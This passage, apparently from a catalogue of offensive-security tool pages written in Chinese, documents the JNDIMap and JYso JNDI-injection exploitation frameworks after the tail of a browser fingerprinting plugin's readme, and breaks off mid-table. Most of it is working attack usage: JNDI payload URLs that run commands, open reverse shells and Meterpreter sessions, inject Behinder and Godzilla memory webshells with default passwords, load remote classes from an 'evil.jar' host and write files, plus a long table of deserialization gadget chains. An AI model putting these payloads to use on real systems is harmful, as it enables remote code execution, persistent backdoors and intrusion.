插件的识别对象基于【标签页】，标签页页面变更【(域名+端口)或(IP+端口)】时清空结果，切换标签页时结果会暂存，关闭标签页或窗口时删除对应结果。\n2. 插件默认只存在被动流量监控，不会因为敏感指纹的识别触发防火墙处置。\n3. 插件识别结果为页面及页面子框架的请求内容，部分页面告警【请求体数据为json格式】、【请求头Content-Type为application/json格式】时，不一定是当前document的请求，有可能是当前document页加载的相关页面的接口请求匹配了规则.\n4. 因为谷歌Chrome API的安全限制和Chrome内核的历史遗留问题，插件对响应体Body的检查与其他指纹位置的检查不同，浏览器页面顶部会出现调试提示，可通过插件设置关闭响应包检查功能或添加谷歌浏览器的启动项规避提示（在Chrome快捷方式右键打开属性，在快捷方式栏的【目标】框添加启动参数 `--silent-debugger-extension-api`）。\n5. 插件目的为发现直接访问无法识别的组件或框架，请勿添加可以直接识别的组件的特征到指纹库（如spark未授权页面），增加无意义的识别流程导致识别负担增加。\n\n\n## 🎇继续开发\n\n#### 新增指纹\n\n在实战中遇到有意义的高危指纹特征或未在拦截列表中的蜜罐请求特征都可以打开新的issue提交，作者会尽快在验证可用性后将指纹添加到新的版本中。\n\n#### 二次开发\n\nVue3前端模块\n\n```\ncd Vue_popup\\heimdallr_v3\nnpm install\nnpm run build:watch\nvim src\\App.vue\n```\n\nchrome插件模块\n\n```\ncd .\\Heimdallr\\\n```\n\n指纹模块\n\n```\ncd .\\Heimdallr\\resource\\data\nvim data.js\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/JNDIMap.md",
    "content": "## JNDIMap <https://github.com/X1r0z/JNDIMap>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-X1r0z-orange)\n![GitHub stars](https://img.shields.io/github/stars/X1r0z/JNDIMap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.4-red)\n![Time](https://img.shields.io/badge/Join-2025098-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n\n<p align=\"center\">\nJNDIMap 是一个强大的 JNDI 注入利用框架, 支持 RMI、LDAP 和 LDAPS 协议, 包含多种高版本 JDK 绕过方式\n</p>\n<p align=\"center\">简体中文 | <a href=\"README.en.md\">English</a></p>\n</p>\n\n## 🚀 快速上手\n\n在 [Release](https://github.com/X1r0z/JNDIMap/releases) 页面下载 JNDIMap, 运行时传入 `-i` 参数指定外部 IP\n\n```bash\njava -jar JNDIMap-version.jar -i 10.0.0.1\n```\n\n在目标机器上执行命令或反弹 Shell\n\n```bash\nrmi://10.0.0.1:1099/Basic/Command/open -a Calculator\nldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337\n```\n\n## 🚩 功能特性\n\n- DNSLog\n- 命令执行\n- 反弹 Shell\n- Meterpreter 上线\n- 加载自定义 Java 字节码\n- 内存马注入 (基于 [MemShellParty](https://github.com/ReaJason/MemShellParty))\n- 高版本 JDK 绕过\n  - BeanFactory 绕过 (Tomcat/Groovy/XStream, etc.)\n  - JDBC RCE (MySQL/PostgreSQL/H2/Derby)\n  - Tomcat Blind XXE\n- LDAP 反序列化 (包含常用 Gadget)\n- Nashorn JS 自定义 JNDI Payload\n- LDAP trustSerialData 绕过\n- JShell Payload 绕过 (可替代 Nashorn JS Engine)\n- UTF-8 Overlong Encoding 绕过\n\n\n## ⚙️ 编译\n\n[Releases](https://github.com/X1r0z/JNDIMap/releases) 的版本可能存在滞后, 推荐在使用时拉取源码自行编译 (基于 JDK 8)\n\n```bash\ngit clone https://github.com/X1r0z/JNDIMap && cd JNDIMap\nmvn package -Dmaven.test.skip=true\n```\n\n## 📷 参考 & 致谢\n\n[https://tttang.com/archive/1405/](https://tttang.com/archive/1405/)\n\n[https://paper.seebug.org/1832/](https://paper.seebug.org/1832/)\n\n[https://xz.aliyun.com/t/12846](https://xz.aliyun.com/t/12846)\n\n[http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce](http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce)\n\n[https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson 与原生反序列化/](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)\n\n[https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson 与原生反序列化-二/](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/)\n\n[https://www.yulegeyu.com/2022/11/12/Java 安全攻防之老版本 Fastjson 的一些不出网利用/](https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/)\n\n[https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/](https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/)\n\n[https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html](https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html)\n\n[https://exp10it.io/2025/03/h2-rce-in-jre-17/](https://exp10it.io/2025/03/h2-rce-in-jre-17/)\n\n[https://forum.butian.net/share/4414](https://forum.butian.net/share/4414)\n\n[https://yzddmr6.com/posts/swinglazyvalue-in-webshell/](https://yzddmr6.com/posts/swinglazyvalue-in-webshell/)\n\n[https://mogwailabs.de/en/blog/2024/12/jndi-mind-tricks/](https://mogwailabs.de/en/blog/2024/12/jndi-mind-tricks/)\n\n[https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html](https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html)\n\n[https://github.com/Whoopsunix/utf-8-overlong-encoding](https://github.com/Whoopsunix/utf-8-overlong-encoding)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.0.4] - 2025-11-20\n\n**特性**\n -   支持 UTF-8 Overlong Encoding 绕过\n -   支持 JDK 17 Jackson 反序列化\n -   支持在新线程中反弹 Shell\n **维护**\n -   增加 GitHub Workflow 自动构建\n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/JYso.md",
    "content": "## JYso <https://github.com/qi4L/JYso>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/JYso.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.6.1-red)\n![Time](https://img.shields.io/badge/Join-20230626-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# 😈使用说明\n\n```所有使用示例，用的是Yakit的FUZZ语法```\n\n使用 ```java -jar JNDIExploit-[version].jar -h``` 查看参数说明，其中 ```--ip``` 参数为必选参数\n\n```\nUsage: java -jar JNDIExploit-[version].jar [options]\n  Options:\n  * -i,  --ip       Local ip address  (default: 0.0.0.0)\n    -rP, --rmiPort  rmi bind port (default: 1099)\n    -lP, --ldapPort Ldap bind port (default: 1389)\n    -hP, --httpPort Http bind port (default: 3456)\n    -g,  --gadgets   Show gadgets (default: false)\n    -c,  --command  RMI this command\n    -h,  --help     Show this help\n```\n\n* 目前支持的所有 ```PayloadType``` 为\n    * ```Bypass```: 用于rmi本地工厂类加载，通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令\n    * ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami```\n      的方式传递想要执行的命令\n    * ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot```\n      时命令执行结果的回显，通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令\n    * ```JbossEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令\n    * ```AllEcho```: 自动选择命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令\n    * ```nu1r```：用于执行命令，如果命令有特殊字符，支持对命令进行 Base64编码后传输\n\n```\n{{url\n  (${jndi:ldap://0.0.0.0:1389/TomcatBypass/nu1r/Base64/{{base64\n      (ping xxx.dnstunnel.run)\n  }}})\n}}\n```    \n\n- 支持tomcatBypass路由直接上线msf：\n\n```\n  使用msf的java/meterpreter/reverse_tcp开启监听\n  ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/msf/[msfip]/[msfport]\n```\n\n---\n\n# 🦄内存马\n\n两种添加方式：\n\n- 支持引用远程类加载方式打入（Basic路由）。\n- 支持本地工厂类加载方式打入（TomcatBypass路由）。\n\n使用说明：\n不指定类型就默认为冰蝎马。\n\n- t 选择内存马的类型\n    - 不指定类型就默认为冰蝎马\n    - bx: 冰蝎内存马，```key: nu1ryyds```, ```Referer：https://nu1r.cn/```\n    - gz: 哥斯拉内存马，```pass: nu1r```, ```Referer：https://nu1r.cn/```\n    - gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer：https://nu1r.cn/```\n    - cmd: cmd命令回显内存马。\n- a：是否继承恶意类 AbstractTranslet\n- o：使用反射绕过\n- w：Windows下使用Agent写入\n- l：Linux下使用Agent写入\n- u：内存马绑定的路径,default [/version.txt]\n- pw：内存马的密码,default [p@ssw0rd]\n- r：内存马 Referer check,default [https://nu1r.cn/]\n- h：通过将文件写入$JAVA_HOME来隐藏内存shell，目前只支持 SpringControllerMS\n- ht：隐藏内存外壳，输入1:write /jre/lib/charsets.jar 2:write /jre/classes/\n\n示例\n\n```shell\n{{url\n    (${jndi:ldap://111.229.10.212:1389/Basic/tomcatfilterjmx/shell/-u path223 -pw 123456 -r tth.cn})\n}}\n```\n\n内存马说明：\n\n* ```SpringInterceptor```: 向系统内植入 Spring Interceptor 类型的内存马\n* ```SpringController```: 向系统内植入 Spring Controller 类型的内存马\n* ```JettyFilter```: 利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马\n* ```JettyServlet```: 利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马\n* ```JBossFilter```: 通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马\n* ```JBossServlet```: 通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马\n* ```resinFilterTh```: 通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马\n* ```resinServletTh```: 通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马\n* ```WebsphereMemshell```: 用于植入```Websphere内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n* ```tomcatFilterJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马\n* ```tomcatFilterTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马\n* ```TomcatListenerJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Listener 型内存马\n* ```TomcatListenerTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马\n* ```TomcatServletJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马\n* ```TomcatServletTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马\n* ```WSFilter```: `CMD` 命令回显 WebSocket 内存马，`cmd命令回显`\n* ```TomcatExecutor``` : Executor 内存马，`cmd命令回显`\n* ```TomcatUpgrade```: TomcatUpgrade 内存马，`cmd命令回显`\n* ```Struts2ActionMS```: Action 类型内存马\n\n---\n\n# 👻 BeanShell1 与 Clojure 利用链的拓展\n\n对于 `BeanShell1` 及 `Clojure` 这两个基于脚本语言解析的漏利用方式。\n\n本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式，具体如下：\n\n`Base64/`后的内容需要base64编码\n\nTS ：Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞，使用命令：TS-10\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64\n        (TS-10)\n    }}})\n}}\n```\n\nRC ：Remote Call - 通过 URLClassLoader.loadClass()\n来调用远程恶意类并初始化，使用命令：RC-http://xxxx.com/evil.jar#EvilClass\n\n换成CS或者MSF生成的JAR包，即可完成一键上线。\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64\n        (RC-http://xxxx.com/evil.jar#EvilClass)\n    }}})\n}}\n```\n\nWF ：Write File - 通过 FileOutputStream.write() 来写入文件，使用命令：WF-/tmp/shell#123\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64\n        (WF-/tmp/shell#123)\n    }}})\n}}\n```\n\n其他：普通命令执行 - 通过 ProcessBuilder().start() 执行系统命令，使用命令 whoami\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64\n        (whoami)\n    }}})\n}}\n```\n\n---\n\n# 🐗C3P04的使用\n\n* 远程加载 Jar 包\n    * C3P04 'remoteJar-http://1.1.1.1.com/1.jar'\n* 向服务器写入 Jar 包并加载（不出网）\n    * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'\n    * C3P04 'localJar-./yaml.jar'\n* C3P0 二次反序列化\n    * C3P04 'c3p0Double-/usr/CC6.ser'\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/C3P04/nu1r/Base64/{{base64\n        ([base64_encoded_cmd])\n    }}})\n}}\n```\n\n---\n\n# 🐅SignedObject 二次反序列化 Gadget\n\n用来进行某些场景的绕过（常见如 TemplatesImpl 黑名单，CTF 中常出现的 CC 无数组加黑名单等）\n\n利用链需要调用 SignedObject 的 getObject 方法，因此需要可以调用任意方法、或调用指定类 getter 方法的触发点；\n\n大概包含如下几种可用的常见调用链：\n\n1. InvokerTransformer 调用任意方法（依赖 CC）\n2. BeanComparator 调用 getter 方法（依赖 CB）\n3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)\n4. ToStringBean 调用全部 getter 方法（依赖 Rome）\n5. MethodInvokeTypeProvider 反射调用任意方法（依赖 spring-core）\n6. MemberBox 反射调用任意方法（依赖 rhino）\n\n* `cc`,`cc4`,`cb`,`hibernate`,`rome`,`rhino`,`spring`\n\n* 利用方式：\n* SignedObjectPayload -> 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/SignedObject/nu1r/Base64/{{base64\n        (CC:commonscollections6:{{base64\n            (open -a Calculator.app)\n        }}1::10000)\n    }}})\n}}\n```\n\n效果图：\n\n![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown微信截图_20220820135253.png)\n\n---\n\n# 🕷️Deserialization路由\n\n| Gadget                                      | 依赖                                                                                                                                                                                                                                                                         | ps            |\n|:--------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------|\n| AspectJWeaver                               | aspectjweaver:1.9.2<br/>commons-collections:3.2.2                                                                                                                                                                                                                          |               |\n| AspectJWeaver2                              | org.aspectj:aspectjweaver:1.9.2<br/>commons-collections:commons-collections:3.2.2                                                                                                                                                                                          |               |\n| BeanShell1                                  | org.beanshell:bsh:2.0b5                                                                                                                                                                                                                                                    |               |\n| C3P0                                        | com.mchange:c3p0:0.9.5.2<br/>mchange-commons-java:0.2.11                                                                                                                                                                                                                   |               |\n| C3P02                                       | com.mchange:c3p0:0.9.5.2<br/>com.mchange:mchange-commons-java:0.2.11<br/>org.apache:tomcat:8.5.35                                                                                                                                                                          |               |\n| C3P03                                       | com.mchange:c3p0:0.9.5.2<br/>com.mchange:mchange-commons-java:0.2.11<br/>org.apache:tomcat:8.5.35<br/>org.codehaus.groovy:groovy:2.3.9                                                                                                                                     |               |\n| C3P04                                       | com.mchange:c3p0:0.9.5.2<br/>com.mchange:mchange-commons-java:0.2.11<br/>org.apache:tomcat:8.5.35<br/>org.yaml:snakeyaml:1.30                                                                                                                                              |               |\n| C3P092                                      | com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8<br/>com.mchange:mchange-commons-java:0.2.11                                                                                                                                                                               |               |\n| Click1                                      | org.apache.click:click-nodeps:2.3.0<br/>javax.servlet:javax.servlet-api:3.1.0                                                                                                                                                                                              |               |\n| Clojure                                     | org.clojure:clojure:1.8.0                                                                                                                                                                                                                                                  |               |\n| CommonsBeanutils1                           | commons-beanutils:commons-beanutils:1.9.2<br/>commons-collections:commons-collections:3.1<br/>commons-logging:commons-logging:1.2                                                                                                                                          |               |\n| CommonsBeanutils1Jdbc                       |                                                                                                                                                                                                                                                                            | 高版本Bypass     |\n| CommonsBeanutils2                           | commons-beanutils:commons-beanutils:1.9.2                                                                                                                                                                                                                                  | 可打shiro       |\n| CommonsBeanutils2Jdbc                       |                                                                                                                                                                                                                                                                            | 高版本Bypass     |\n| CommonsBeanutils2NOCC                       | commons-beanutils:commons-beanutils:1.8.3<br/>commons-logging:commons-logging:1.2                                                                                                                                                                                          |               |\n| CommonsBeanutils1183NOCC                    | commons-beanutils:commons-beanutils:1.8.3                                                                                                                                                                                                                                  |               |\n| CommonsBeanutilsAttrCompare                 | commons-beanutils:commons-beanutils:1.9.2                                                                                                                                                                                                                                  |               |\n| CommonsBeanutilsAttrCompare183              | commons-beanutils:commons-beanutils:1.8.3                                                                                                                                                                                                                                  |               |\n| CommonsBeanutilsObjectToStringComparator    | \"commons-beanutils:commons-beanutils:1.9.2 org.apache.commons:commons-lang3:3.10\"                                                                                                                                                                                          |               |\n| CommonsBeanutilsObjectToStringComparator183 | \"commons-beanutils:commons-beanutils:1.8.3\"                                                                                                                                                                                                                                |               |\n| CommonsBeanutilsPropertySource              | \"commons-beanutils:commons-beanutils:1.9.2 org.apache.logging.log4j:log4j-core:2.17.1\"                                                                                                                                                                                     |               |\n| CommonsBeanutilsPropertySource183           | \"commons-beanutils:commons-beanutils:1.9.2 org.apache.logging.log4j:log4j-core:2.17.1\"                                                                                                                                                                                     |               |\n| CommonsCollections1                         | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                |               |\n| CommonsCollections2                         | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                |               |\n| CommonsCollections3                         | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                |               |\n| CommonsCollections4                         | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                |               |\n| CommonsCollections5                         | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                |               |\n| CommonsCollections6                         | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                |               |\n| CommonsCollections7                         | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                |               |\n| CommonsCollections8                         | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                |               |\n| CommonsCollections9                         | commons-collections:commons-collections:3.2.1                                                                                                                                                                                                                              |               |\n| CommonsCollections10                        | commons-collections:commons-collections:3.2.1                                                                                                                                                                                                                              |               |\n| CommonsCollections11                        | commons-collections:commons-collections:3.2.1                                                                                                                                                                                                                              |               |\n| CommonsCollections12                        | commons-collections:commons-collections:3.2.1                                                                                                                                                                                                                              |               |\n| CommonsCollectionsK1                        | commons-collections:commons-collections:3.2.1                                                                                                                                                                                                                              |               |\n| CommonsCollectionsK2                        | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                |               |\n| CommonsCollectionsK3                        | commons-collections:commons-collections:3.1                                                                                                                                                                                                                                | CC6简化的写法      |\n| CommonsCollectionsK4                        | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                | CC6简化的写法的4.0版 |\n| CommonsCollectionsK5                        | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                | CC7的4.0版      |\n| CommonsCollectionsK6                        | org.apache.commons:commons-collections4:4.0                                                                                                                                                                                                                                | CC11的4.0版     |\n| Fastjson1                                   | Fastjosn 1.2.48                                                                                                                                                                                                                                                            |               |\n| Fastjson2                                   | Fastjosn 2+                                                                                                                                                                                                                                                                |               |\n| Groovy1                                     | org.codehaus.groovy:groovy:2.3.9                                                                                                                                                                                                                                           |               |\n| Hibernate1                                  | org.hibernate:hibernate-core:5.0.7.Final<br/>org.hibernate:hibernate-core:4.3.11.Final                                                                                                                                                                                     |               |\n| Hibernate2                                  | org.hibernate:hibernate-core:5.0.7.Final<br/>org.hibernate:hibernate-core:4.3.11.Final                                                                                                                                                                                     |               |\n| Jackson                                     |                                                                                                                                                                                                                                                                            |               |\n| JavassistWeld1                              | javassist:javassist:3.12.1.GA<br/>org.jboss.weld:weld-core:1.1.33.Final<br/>javax.interceptor:javax.interceptor-api:3.1<br/>javax.enterprise:cdi-api:1.0-SP1<br/>org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final<br/>org.slf4j:slf4j-api:1.7.21                    |               |\n| JBossInterceptors1                          | javassist:javassist:3.12.1.GA<br/>org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final<br/>javax.enterprise:cdi-api:1.0-SP1<br/>javax.interceptor:javax.interceptor-api:3.1<br/>org.slf4j:slf4j-api:1.7.21<br/>org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final |               |\n| Jdk7u21                                     | -                                                                                                                                                                                                                                                                          |               |\n| Jdk7u21variant                              | -                                                                                                                                                                                                                                                                          |               |\n| JRE8u20                                     |                                                                                                                                                                                                                                                                            |               |\n| JRE8u20_2                                   |                                                                                                                                                                                                                                                                            |               |\n| JSON1                                       | net.sf.json-lib:json-lib:jar:jdk15:2.4<br/>org.springframework:spring-aop:4.1.4.RELEASE                                                                                                                                                                                    |               |\n| Jython1                                     | org.python:jython-standalone:2.5.2                                                                                                                                                                                                                                         |               |\n| MozillaRhino1                               | rhino:js:1.7R2                                                                                                                                                                                                                                                             |               |\n| MozillaRhino2                               | rhino:js:1.7R2                                                                                                                                                                                                                                                             |               |\n| Myfaces1                                    | -                                                                                                                                                                                                                                                                          |               |\n| Myfaces2                                    | -                                                                                                                                                                                                                                                                          |               |\n| RenderedImage                               | javax.media:jai-codec-1.1.3                                                                                                                                                                                                                                                |               |\n| ROME                                        | rome:rome:1.0                                                                                                                                                                                                                                                              |               |\n| ROME2                                       | rome:rome:1.0<br/>JDK 8+                                                                                                                                                                                                                                                   |               |\n| Spring1                                     | org.springframework:spring-core:4.1.4.RELEASE<br/>org.springframework:spring-beans:4.1.4.RELEASE                                                                                                                                                                           |               |\n| Spring2                                     | org.springframework:spring-core:4.1.4.RELEASE<br/>org.springframework:spring-aop:4.1.4.RELEASE<br/>aopalliance:aopalliance:1.0<br/>commons-logging:commons-logging:1.2                                                                                                     |               |\n| Spring3                                     | org.springframework:spring-tx:5.2.3.RELEASE<br/>org.springframework:spring-context:5.2.3.RELEASE<br/>javax.transaction:javax.transaction-api:1.2                                                                                                                           |               |\n| Vaadin1                                     | com.vaadin:vaadin-server:7.7.14<br/>com.vaadin:vaadin-shared:7.7.14                                                                                                                                                                                                        |               |\n| Wicket1                                     | org.apache.wicket:wicket-util:6.23.0<br/>org.slf4j:slf4j-api:1.6.4                                                                                                                                                                                                         |               |\n\n- a：恶意类是否继承 AbstractTranslet\n- o：使用反射绕过\n  ~~- j：使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~（这个构造的流有BUG，还在思考修复）\n- 需要参数时，在命令后面添加，#参数\n* 使用示例：\n\n```\n{{url\n  (${jndi:ldap://0.0.0.0:1389/Deserialization/[GadgetType]/nu1r/Base64/{{base64\n      (base64_encoded_cmd#-a -o)\n  }}})\n}}\n ```\n\n---\n对于Gadget：\n\n- CommonsCollections1\n- CommonsCollections5\n- CommonsCollections6\n- CommonsCollectionsK3\n- CommonsCollectionsK4\n- CommonsCollections7\n- commonscollectionsK5\n- CommonsCollections9\n\n* 使用 `Transformer[]` 数组实现\n\n为其拓展了除了 Runtime 执行命令意外的多种利用方式，具体如下：\n\nTS ：Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞，使用命令：TS-10\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (TS-10)\n    }}})\n}}\n```\n\nRC ：Remote Call - 通过 URLClassLoader.loadClass()\n来调用远程恶意类并初始化，使用命令：RC-http://xxxx.com/evil.jar#EvilClass\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (RC-http://xxxx.com/evil.jar#EvilClass)\n    }}})\n}}\n```\n\nWF ：Write File - 通过 FileOutputStream.write() 来写入文件，使用命令：WF-/tmp/shell#d2hvYW1p\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (WF-/tmp/shell#d2hvYW1p)\n    }}})\n}}\n```\n\nPB ：ProcessBuilder 通过 ProcessBuilder.start() 来执行系统命令，使用命令 ```PB-lin-d2hvYW1p``` / ```PB-win-d2hvYW1p```\n分别在不同操作系统执行命令\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==)\n    }}})\n}}\n```\n\nSE ：ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调用 Runtime 执行命令，使用命令\nSE-d2hvYW1\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (SE-d2hvYW1)\n    }}})\n}}\n```\n\nDL ：DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析，使用命令 DL-xxxdnslog.cn\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (DL-xxxdnslog.cn)\n    }}})\n}}\n```\n\nHL ：HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG，使用命令 HL-http://xxx.com\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (HL-http://xxx.com)\n    }}})\n}}\n```\n\nBC ：BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码，使用命令 BC-$BCEL$xxx\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (BC-$BCEL$xxx)\n    }}})\n}}\n```\n\n其他：普通命令执行 - 通过 Runtime.getRuntime().exec() 执行系统命令，使用命令 whoami\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64\n        (whoami)\n    }}})\n}}\n```\n\n# 🐣其他利用链拓展\n\n对于除了以上的利用链,使用的是 `TemplatesImpl` 类来实现。\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64\n        (whoami)\n    }}})\n}}\n```\n\n## 🐮任意自定义代码\n\n对于使用了 `TemplatesImpl` 类来实现的链子来说，可以使用此方法\n\n如果你不想使用本项目中提供的恶意逻辑，也不想执行命令，可以通过自定义代码的形式，自定义代码将会在目标服务器通过 `ClassLoader`\n进行加载并实例化。命令使用 `LF#` 开头，后面跟指定自定义类字节码文件的绝对路径。\n\n示例：\n\n**class 类文件绝对路径**\n\n```\n{{url\n  (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64\n      (LF#/tmp/evil.class-org)\n  }}})\n}}\n```\n\n# 🦜利用链探测\n\n参考了 kezibei 师傅的 URLDNS 项目，实际情况可能有如下几种情况导致问题：\n\n+ 反序列时遇到黑名单，可能导致后面的类的 dnslog 出不来；\n+ 反序列化流程中由于种种情况报错可能导致出不来。\n\n因此这里还是提供了 all/common/指定类 三种探测方式：\n\n+ all：探测全部的类；\n+ common：探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux；\n+ 指定类：使用对应链中的关键字 CommonsCollections24:xxxx.dns.log 。\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/URLDNS/nu1r/Base64/{{base64\n        (all:xxxxxx.dns.log)\n    }}})\n}}\n```\n\n效果图：\n\n![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdownQQ截图20221107151444.png)\n\n| DNSLOG 关键字                               | 对应链                  | 关键类                                                       | 备注                                                         |\n| ------------------------------------------- | ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |\n| cc31or321<br />cc322                        | CommonsCollections13567 | org.apache.commons.collections.functors.ChainedTransformer<br />org.apache.commons.collections.ExtendedProperties$1 | CommonsCollections1/3/5/6/7<br />需要<=3.2.1版本             |\n| cc40<br />cc41                              | CommonsCollections24    | 